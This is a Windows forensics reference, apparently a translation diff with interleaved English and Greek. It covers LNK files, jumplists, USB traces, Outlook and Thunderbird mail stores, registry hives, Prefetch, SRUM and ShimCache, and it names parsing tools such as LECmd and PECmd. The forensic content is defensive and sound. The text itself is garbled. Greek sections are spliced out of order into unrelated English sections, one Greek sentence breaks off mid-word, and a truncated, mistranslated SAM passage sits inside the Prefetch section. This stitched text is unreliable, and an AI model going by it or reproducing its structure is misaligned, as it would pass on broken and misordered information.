You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
Μπορείτε να βρείτε τα αρχεία αυτόματης αποθήκευσης του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Shell Items
|
||||
## Στοιχεία Shell
|
||||
|
||||
A shell item is an item that contains information about how to access another file.
|
||||
Ένα στοιχείο του κελύφους είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο.
|
||||
|
||||
### Recent Documents (LNK)
|
||||
### Πρόσφατα Έγγραφα (LNK)
|
||||
|
||||
Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in:
|
||||
Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** στα παρακάτω μέρη:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created.
|
||||
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση προς τον φάκελο, προς τον γονικό φάκελο και τον προγονικό φάκελο.
|
||||
|
||||
These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed.
|
||||
Αυτά τα αυτόματα δημιουργημένα αρχεία συνδέσμων **περιέχουν πληροφορίες για την προέλευση** όπως αν είναι **αρχείο** ή **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου προορισμού**. Αυτές οι πληροφορίες μπορούν να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που αφαιρεθούν.
|
||||
|
||||
Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used.
|
||||
Επίσης, η **ημερομηνία δημιουργίας του αρχείου συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** του αρχείου συνδέσμου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
|
||||
|
||||
To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
In this tools you will find **2 sets** of timestamps:
|
||||
Σε αυτά τα εργαλεία θα βρείτε **2 σύνολα** χρονοσημάτων:
|
||||
|
||||
* **First Set:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
* **Second Set:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
* **Πρώτο Σύνολο:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
* **Δεύτερο Σύνολο:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**.
|
||||
|
||||
You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||
Το πρώτο σύνολο χρονοσημάτων αναφέρεται στα **χρονοσήματα του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στα **χρονοσήματα του συνδεδεμένου αρχείου**.
|
||||
|
||||
Μπορείτε να λάβετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο γραμμής εντολών των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
|
||||
In this case, the information is going to be saved inside a CSV file.
|
||||
Σε αυτήν την περίπτωση, οι πληροφορίες θα αποθηκευτούν σε ένα αρχείο CSV.
|
||||
|
||||
### Jumplists
|
||||
|
||||
These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**.
|
||||
Αυτές είναι οι πρόσφατες αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
|
||||
|
||||
The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application.
|
||||
Οι **αυτόματα δημιουργημένες jumplists** αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
|
||||
|
||||
The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite)
|
||||
Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή έχει συμβεί κάτι **σημαντικό** με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο)
|
||||
|
||||
The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**.
|
||||
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει το **πρώτο χρόνο πρόσβασης στο αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**.
|
||||
|
||||
You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
![](<../../../.gitbook/assets/image (474).png>)
|
||||
|
||||
(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_)
|
||||
(_Σημειώστε ότι οι χρονοσφραγίδες που παρέχονται από το JumplistExplorer αναφέρονται στο ίδιο το αρχείο jumplist_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||
[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι οι shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Use of Windows USBs
|
||||
## Χρήση των USB των Windows
|
||||
|
||||
It's possible to identify that a USB device was used thanks to the creation of:
|
||||
Είναι δυνατό να ανιχνευθεί η χρήση μιας συσκευής USB χάρη στη δημιουργία:
|
||||
|
||||
* Windows Recent Folder
|
||||
* Microsoft Office Recent Folder
|
||||
* Φακέλου Πρόσφατων Windows
|
||||
* Φακέλου Πρόσφατων Microsoft Office
|
||||
* Jumplists
|
||||
|
||||
Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder:
|
||||
Σημειώστε ότι ορισμένα αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag.
|
||||
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των αρχικών, οπότε δεν θα επιβιώσουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag.
|
||||
|
||||
### Registry Information
|
||||
### Πληροφορίες Καταχώρισης Μητρώου
|
||||
|
||||
[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices.
|
||||
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά του μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
|
||||
|
||||
### setupapi
|
||||
|
||||
Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`).
|
||||
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονοσφραγίδες σχετικά με το πότε παρήχθη η σύνδεση USB (αναζητήστε το `Section start`).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image.
|
||||
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
|
||||
|
||||
![](<../../../.gitbook/assets/image (483).png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
### Καθαρισμός Plug and Play
|
||||
|
||||
The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion.
|
||||
Η προγραμματισμένη εργασία γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει αδρανείς για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να διαγ
|
||||
### Αρχεία OST του Microsoft Outlook
|
||||
|
||||
The task is located at the following path:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
Ένα αρχείο **OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν διακομιστή **Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** με μέγιστο μέγεθος **50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορείτε να χρησιμοποιήσετε το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
|
||||
A screenshot depicting the task's content is provided:
|
||||
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
### Ανάκτηση Συνημμένων
|
||||
|
||||
**Key Components and Settings of the Task:**
|
||||
- **pnpclean.dll**: This DLL is responsible for the actual cleanup process.
|
||||
- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance.
|
||||
- **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance.
|
||||
Χαμένα συνημμένα μπορεί να ανακτηθούν από:
|
||||
|
||||
This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures.
|
||||
- Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- Για **IE11 και νεότερες εκδόσεις**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
### Αρχεία MBOX του Thunderbird
|
||||
|
||||
## Emails
|
||||
Το **Thunderbird** χρησιμοποιεί αρχεία **MBOX** για την αποθήκευση δεδομένων, τα οποία βρίσκονται στη διαδρομή `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like:
|
||||
### Μικρογραφίες Εικόνων
|
||||
|
||||
* **Who** sent the emails (email address, IP, mail servers that have redirected the email)
|
||||
* **When** was the email sent
|
||||
- **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμα και μετά τη διαγραφή τους.
|
||||
- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελαύνεται μέσω δικτύου μέσω της διαδρομής UNC.
|
||||
- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικές στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με το όνομα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων.
|
||||
|
||||
Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages:
|
||||
### Πληροφορίες Καταγραφής των Windows Registry
|
||||
|
||||
![](<../../../.gitbook/assets/image (484).png>)
|
||||
Το Windows Registry, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας του συστήματος και των χρηστών, περιέχεται σε αρχεία στις παρακάτω τοποθεσίες:
|
||||
|
||||
### Windows Mail App
|
||||
- `%windir%\System32\Config` για διάφορα υποκλειδιά `HKEY_LOCAL_MACHINE`.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` για το `HKEY_CURRENT_USER`.
|
||||
- Τα Windows Vista και νεότερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής του `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`.
|
||||
- Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τον διακομιστή Windows 2008 και μετά.
|
||||
|
||||
This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension.
|
||||
### Εργαλεία
|
||||
|
||||
The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής του registry:
|
||||
|
||||
**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails.
|
||||
* **Επεξεργαστής Καταγραφής**: Είναι εγκατεστημένο στα Windows. Είναι μια γραφική διεπαφή χρήστη για την περιήγηση στο Windows registry της τρέχουσας συνεδρίας.
|
||||
* [**Εξερευνητής Καταγραφής**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο καταγραφής και να περιηγηθείτε μέσω του με γραφική διεπαφή. Περιλαμβάνει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου καταγραφής και περιλαμβάνει επεκτάσεις που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο καταγραφή.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή που μπορεί να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο καταγραφή.
|
||||
|
||||
### Microsoft Outlook
|
||||
### Ανάκτηση Διαγραμμένου Στοιχείου
|
||||
|
||||
When Exchange servers or Outlook clients are used there are going to be some MAPI headers:
|
||||
Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Καταγραφής**, είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών.
|
||||
|
||||
* `Mapi-Client-Submit-Time`: Time of the system when the email was sent
|
||||
* `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread
|
||||
* `Mapi-Entry-ID`: Message identifier.
|
||||
* `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?)
|
||||
### Χρόνος Τελευταίας Εγγραφής
|
||||
|
||||
In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in:
|
||||
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used.
|
||||
|
||||
You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
|
||||
### Microsoft Outlook OST Files
|
||||
|
||||
An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized.
|
||||
|
||||
### Retrieving Attachments
|
||||
|
||||
Lost attachments might be recoverable from:
|
||||
|
||||
- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX Files
|
||||
|
||||
**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Image Thumbnails
|
||||
|
||||
- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion.
|
||||
- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path.
|
||||
- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files.
|
||||
|
||||
### Windows Registry Information
|
||||
|
||||
The Windows Registry, storing extensive system and user activity data, is contained within files in:
|
||||
|
||||
- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`.
|
||||
- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`.
|
||||
- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards.
|
||||
|
||||
### Tools
|
||||
|
||||
Some tools are useful to analyze the registry files:
|
||||
|
||||
* **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session.
|
||||
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded.
|
||||
|
||||
### Recovering Deleted Element
|
||||
|
||||
When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys.
|
||||
|
||||
### Last Write Time
|
||||
|
||||
Each Key-Value contains a **timestamp** indicating the last time it was modified.
|
||||
Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό στιγμιότυπο** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε.
|
||||
|
||||
### SAM
|
||||
|
||||
The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system.
|
||||
|
||||
In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**.
|
||||
|
||||
### Interesting entries in the Windows Registry
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Programs Executed
|
||||
|
||||
### Basic Windows Processes
|
||||
|
||||
In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours.
|
||||
|
||||
### Windows Recent APPs
|
||||
|
||||
Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched.
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
|
||||
You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker.
|
||||
|
||||
Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10.
|
||||
|
||||
The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point.
|
||||
|
||||
The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program.
|
||||
|
||||
To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
Το αρχείο/hive **SAM** περιέχει τους κατακόρυφους και τους κωδικούς πρόσβασης των χρηστών του συστήματος.
|
||||
|
||||
Στο `SAM\Domains\Account
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
||||
![](<../../../.gitbook/assets/image (487).png>)
|
||||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\
|
||||
This service will generate database files in `C:\Windows\Prefetch\Ag*.db`.
|
||||
Το **Superprefetch** έχει τον ίδιο στόχο με το prefetch, να **φορτώνει τα προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
|
||||
Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**.
|
||||
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **ανοιγμένα αρχεία**, το **επίπεδο πρόσβασης** στον **δίσκο**, την **πλήρη διαδρομή**, τα **χρονικά πλαίσια** και τις **χρονοσφραγίδες**.
|
||||
|
||||
You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται από ένα διεργασία**. Εμφανίστηκε στο W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
|
||||
It gives the following information:
|
||||
Παρέχει τις εξής πληροφορίες:
|
||||
|
||||
* AppID and Path
|
||||
* User that executed the process
|
||||
* Sent Bytes
|
||||
* Received Bytes
|
||||
* Network Interface
|
||||
* Connection duration
|
||||
* Process duration
|
||||
* AppID και Διαδρομή
|
||||
* Χρήστης που εκτέλεσε τη διεργασία
|
||||
* Απεσταλμένα Bytes
|
||||
* Ληφθέντα Bytes
|
||||
* Διεπαφή Δικτύου
|
||||
* Διάρκεια σύνδεσης
|
||||
* Διάρκεια διεργασίας
|
||||
|
||||
This information is updated every 60 mins.
|
||||
|
||||
You can obtain the date from this file using the tool [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά.
|
||||
|
||||
Μπορείτε να αποκτήσετε τα δεδομένα από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include:
|
||||
Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από την **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
|
||||
|
||||
- Full path of the file
|
||||
- Size of the file
|
||||
- Last Modified time under **$Standard\_Information** (SI)
|
||||
- Last Updated time of the ShimCache
|
||||
- Process Execution Flag
|
||||
- Πλήρης διαδρομή του αρχείου
|
||||
- Μέγεθος του αρχείου
|
||||
- Τελευταία τροποποίηση υπό το **$Standard\_Information** (SI)
|
||||
- Τελευταία ενημέρωση του ShimCache
|
||||
- Σημαία εκτέλεσης διεργασίας
|
||||
|
||||
Such data is stored within the registry at specific locations based on the version of the operating system:
|
||||
Τέτοια δεδομένα αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος:
|
||||
|
||||
- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries.
|
||||
- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively.
|
||||
- Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα για 96 καταχωρήσεις.
|
||||
- Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα για 512 και 1024 καταχωρήσεις αντίστοιχα.
|
||||
|
||||
To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use.
|
||||
